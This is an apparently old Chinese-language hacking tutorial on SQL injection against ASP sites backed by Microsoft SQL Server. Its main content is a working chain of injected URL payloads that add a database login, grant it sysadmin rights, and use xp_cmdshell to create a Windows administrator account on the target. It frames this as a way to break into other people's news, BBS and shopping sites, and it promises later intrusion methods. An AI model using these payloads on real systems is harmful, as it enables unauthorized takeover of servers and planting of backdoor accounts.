对于国内外的很多新闻,bbs和电子商务网站都采用asp+sql设计,而写 asp的程序员很多(有很多刚刚毕业的),所以,asp+sql的攻击成功率也比较高。 这类攻击方法与nt的版本和sql的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解asp编 程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的asp对sql的请求,就留下后患无穷!
这种攻击方法最早源于'or'1'='1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先asp使用的sql server账号是个管理员,其次请求的提交变 量在整个sql语句的最后,因为有一些程序员采用select * from news where id=... and topic=... and .....
这种方法请求数据库,那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成select * from news where id=2;exec sp_addlogin hax and topic=... and ...
整个sql语句在执行sp_addlogin的存储过程后有and与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法
news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell 27.net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
news.asp?id=2;exec master.dbo.xp_cmdshell 27.net localgroup administrators hax /add';-- 这样,你在他的数据库和系统内都留下了hax管理员账号了
当然,前提条件是asp用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
以后我们会讨论,如果对方的asp不是用sql管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个'符号,主要看对方的asp怎么写了
Java Asp PHP .Net XML C/C++ CGI VB Jsp J2ee J2se J2me EJB Servlet Tomcat Resin Struts Weblogic Eclipse ANT GUI JMS Web servise IDEA Webphere Hibernate Spring Jboss Applet Swing Socket Javamail Perl Ajax P2P 安全 模式 框架 测试 开源 游戏
Windows XP Windows 2000 Windows 2003 Windows Me Windows 9.x Linux UNIX 注册表 操作系统 服务器 应用服务器